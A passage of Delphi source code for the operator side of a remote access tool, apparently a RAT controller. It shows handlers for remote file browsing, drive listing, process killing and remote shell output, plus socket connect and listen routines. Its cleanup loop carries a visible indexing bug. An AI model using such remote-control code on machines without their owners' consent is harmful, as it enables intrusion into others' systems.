  760.                                Item := dlgFileManager[I].ListView1.Items.Add;
  761.                                Item.Caption := Temp;
  762.                                If (Param[1] <> '0') Then
  763.                                  Item.SubItems.Add(GetKBS(StrToInt(Param[1])))
  764.                                Else
  765.                                  Item.SubItems.Add(Param[1]);
  766.                                If (Temp = '..') Then
  767.                                  Item.SubItems.Add('Go Back')
  768.                                Else
  769.                                  Item.SubItems.Add(Param[0]);
  770.                                If (LowerCase(ExtractFileExt(Temp)) = '.bat') Then Item.ImageIndex := 1 Else
  771.                                If (LowerCase(ExtractFileExt(Temp)) = '.bmp') Then Item.ImageIndex := 2 Else
  772.                                If (LowerCase(ExtractFileExt(Temp)) = '.com') Then Item.ImageIndex := 3 Else
  773.                                If (Param[0] = 'DIR')                         Then Item.ImageIndex := 4 Else
  774.                                If (LowerCase(ExtractFileExt(Temp)) = '.dll') Then Item.ImageIndex := 5 Else
  775.                                If (LowerCase(ExtractFileExt(Temp)) = '.sys') Then Item.ImageIndex := 5 Else
  776.                                If (LowerCase(ExtractFileExt(Temp)) = '.ocx') Then Item.ImageIndex := 5 Else
  777.                                If (LowerCase(ExtractFileExt(Temp)) = '.mp3') Then Item.ImageIndex := 6 Else
  778.                                If (LowerCase(ExtractFileExt(Temp)) = '.wav') Then Item.ImageIndex := 6 Else
  779.                                If (LowerCase(ExtractFileExt(Temp)) = '.ogg') Then Item.ImageIndex := 6 Else
  780.                                If (LowerCase(ExtractFileExt(Temp)) = '.exe') Then Item.ImageIndex := 7 Else
  781.                                If (LowerCase(ExtractFileExt(Temp)) = '.gif') Then Item.ImageIndex := 8 Else
  782.                                If (LowerCase(ExtractFileExt(Temp)) = '.ini') Then Item.ImageIndex := 9 Else
  783.                                If (LowerCase(ExtractFileExt(Temp)) = '.inf') Then Item.ImageIndex := 9 Else
  784.                                If (LowerCase(ExtractFileExt(Temp)) = '.txt') Then Item.ImageIndex := 9 Else
  785.                                If (LowerCase(ExtractFileExt(Temp)) = '.cfg') Then Item.ImageIndex := 9 Else
  786.                                If (LowerCase(ExtractFileExt(Temp)) = '.htm') Then Item.ImageIndex := 10 Else
  787.                                If (LowerCase(ExtractFileExt(Temp)) = '.html')Then Item.ImageIndex := 10 Else
  788.                                If (LowerCase(ExtractFileExt(Temp)) = '.php') Then Item.ImageIndex := 10 Else
  789.                                If (LowerCase(ExtractFileExt(Temp)) = '.asp') Then Item.ImageIndex := 10 Else
  790.                                If (LowerCase(ExtractFileExt(Temp)) = '.pl' ) Then Item.ImageIndex := 10 Else
  791.                                If (LowerCase(ExtractFileExt(Temp)) = '.jpg') Then Item.ImageIndex := 11 Else
  792.                                If (LowerCase(ExtractFileExt(Temp)) = '.pif') Then Item.ImageIndex := 12 Else
  793.                                Item.ImageIndex := 0;
  794.                              End;
  795.                            End;
  796.                          Temp := IntToStr(C_CURRENTPATH)+' 1'#10;
  797.                          If (Sock > 0) Then
  798.                          Begin
  799.                            Send(Sock, Temp[1], Length(Temp), 0);
  800.                            Inc(sByte, Length(Temp));    
  801.                          End;
  802.                        End;
  803.         C_REQUESTDRIVE: Begin
  804.                           For I := 0 To 100 Do
  805.                             If (dlgFileManager[I] <> NIL) And
  806.                                (dlgFileManager[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
  807.                                  If (Param[0] <> '') Then
  808.                                  Begin
  809.                                    If (Param[0] <> 'A:') Then
  810.                                    Begin
  811.                                      dlgFileManager[I].ComboBox1.Items.Add(Param[0]);
  812.                                      dlgFileManager[I].ComboBox1.ItemIndex := 0;
  813.                                    End;
  814.                                    If (Param[0] = 'C:') Then
  815.                                    Begin
  816.                                      Temp := IntToStr(C_REQUESTLIST)+' '+dlgFileManager[I].ComboBox1.Items.Strings[0]+#10;
  817.                                      Send(Sock, Temp[1], length(Temp), 0);
  818.                                      Inc(sByte, Length(Temp));
  819.                                    End;                                   
  820.                                  End;
  821.                         End;
  822.         C_CURRENTPATH: Begin
  823.                          Temp := Copy(Temp, Pos(Param[0], Temp), Length(Temp));
  824.                          For I := 0 To 100 Do
  825.                            If (dlgFileManager[I] <> NIL) And
  826.                               (dlgFileManager[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
  827.                               Begin
  828.                                 dlgFileManager[I].Edit1.Text := Temp;
  829.                                 Break;
  830.                               End;
  831.                        End;
  832.         C_ENDPROCESS: Begin
  833.                         Case StrToInt(Param[1]) Of
  834.                           0: Form1.StatusBar1.Panels[1].Text := Param[0] + ' PID Failed To End.';
  835.                           1: Form1.StatusBar1.Panels[1].Text := Param[0] + ' PID Ended Successfully.';
  836.                         End;
  837.                       End;
  838.         C_REMOTECMD: Begin
  839.                        Temp := Copy(Temp, 4, Length(Temp));
  840.                        For I := 0 To 100 Do
  841.                          If (dlgRemoteShell[I] <> NIL) And
  842.                             (dlgRemoteShell[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then
  843.                             Begin
  844.                               ReplaceStr(#1, #10, Temp);
  845.                               dlgRemoteShell[I].Memo1.Lines.Add(Temp);
  846.                               Break;
  847.                             End;
  848.                      End;
  849.       End;
  850.     End;
  851.     UpdateUser(Address, Port, '', '', GetKBS(rByte)+'/'+GetKBS(sByte), '');
  852.   Until 1 = 2;
  853.   ZeroMemory(@I, SizeOf(I));
  854.   For J := 0 To 100 Do
  855.   Begin
  856.     If (dlgInformation[I] <> NIL) and
  857.        (dlgInformation[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then dlgInformation[I].Close;
  858.     If (dlgFilemanager[I] <> NIL) and
  859.        (dlgFilemanager[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then dlgFilemanager[I].Close;
  860.     If (dlgProcessList[I] <> NIL) and
  861.        (dlgProcessList[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then dlgProcessList[I].Close;
  862.     If (dlgRemoteShell[I] <> NIL) and
  863.        (dlgRemoteShell[I].StatusBar1.Panels[0].Text = IntToStr(Sock)) Then dlgRemoteShell[I].Close;
  864.   End;
  865.   CloseSocket(Sock);
  866.   RemoveUser(Address, Port);
  867.   KillThread(HandleList[Count]);
  868. End;
  869. // Get a free handle for more threads
  870. Function TServer.GetFreeHandle(VAR Int: Integer): Integer;
  871. Var
  872.   I: WORD;
  873. Begin
  874.   Result := -1;
  875.   For I := 0 to 99 Do
  876.     If (HandleList[I] = 0) Then
  877.     Begin
  878.       Result := I;
  879.       Int := I;
  880.       Break;
  881.     End;
  882. End;
  883. procedure TServer.Connect(Host,password:string;Port :integer);
  884. var sByte,D:Cardinal;
  885.     Address,LPort:String;
  886. begin
  887.   Host := ResolveIP(Host);
  888.   WSAStartUP($0101, WSA); //加载winsock库
  889.   Sock := Socket(AF_INET, SOCK_STREAM, 0);
  890.   Addr.sin_family := AF_INET;
  891.   Addr.sin_port := hTons(Port);
  892.   Addr.sin_addr.S_addr := inet_Addr(pChar(Host));
  893.   if (Winsock.Connect(Sock, Addr, SizeOf(Addr)) = 0) then
  894.   begin
  895.     SendData(sock,'01 ' + password + #10,sByte);     //连接成功发送密码验证
  896.     Address := RemoteAddress(Sock);
  897.     LPort := RemotePort(Sock);
  898.     rSocket.Sock:=Sock;
  899. //    AddUser(Address, LPort, '', '', '', IntToStr(Sock));
  900.     CreateThread(NIL, 0, @listenHost, @rSocket, 0, D)
  901.   end
  902.   else
  903.     MessageBox(0, '主机接接不收', '提示', MB_ICONERROR);
  904. //  WSACleanUP();
  905. end;
  906. // Accepting new connections.
  907. Function TServer.AcceptNew(SSock: TSocket): Integer;
  908. Var
  909.   I: Integer;
  910.   D: DWord;
  911. Begin
  912.   If (GetFreeHandle(I) = -1) or (SSock <= 0) Then
  913.   Begin
  914.     Result := ERROR_ACCEPT;
  915.     Exit;
  916.   End;
  917.   rSocket.Sock := SSock;
  918.   rSocket.Count := I;
  919.   SocketList[I] := SSock;
  920.   HandleList[I] := CreateThread(nil, 0, @ListenHost, @rSocket, 0, D);
  921.   Count := ReCount();
  922.   Result := SUCCESS_ACCEPT;
  923. End;
  924. // Function for creating sockets and listening.
  925. Function TServer.Listen: Integer;
  926. Begin
  927.   WSAStartUp($0101, WSA);
  928.   Count := 0;
  929.   FillChar(SocketList, 99, 0);
  930.   Sock := Socket(AF_INET, SOCK_STREAM, 0);
  931.   Addr.sin_family := AF_INET;
  932.   Addr.sin_port := hTons(Port);
  933.   Addr.sin_addr.S_addr := INADDR_ANY;
  934.   If (Bind(Sock, Addr, SizeOf(Addr)) <> 0) Then
  935.   Begin
  936.     Result := ERROR_BIND;
  937.     ReturnError := Result;
  938.     WSACleanUp();
  939.     Exit;
  940.   End;
  941.   If (Winsock.listen(Sock, SOMAXCONN) <> 0) Then
  942.   Begin
  943.     Result := ERROR_LISTEN;
  944.     ReturnError := Result;
  945.     WSACleanUp();
  946.     Exit;
  947.   End;
  948.   Len := SizeOf(Remote);
  949.   Repeat
  950.     TempSock := Accept(Sock, @Remote, @Len);
  951.     If (TempSock = INVALID_SOCKET) Then
  952.     Begin
  953.       Result := ERROR_ACCEPT;
  954.       ReturnError := Result;
  955.       WSACleanUp();
  956.       Exit;
  957.     End;
  958.     ResolveStatus(AcceptNew(TempSock));
  959.     TempSock := INVALID_SOCKET;
  960.   Until False;
  961.   WSACleanUp();
  962. End;
  963. end.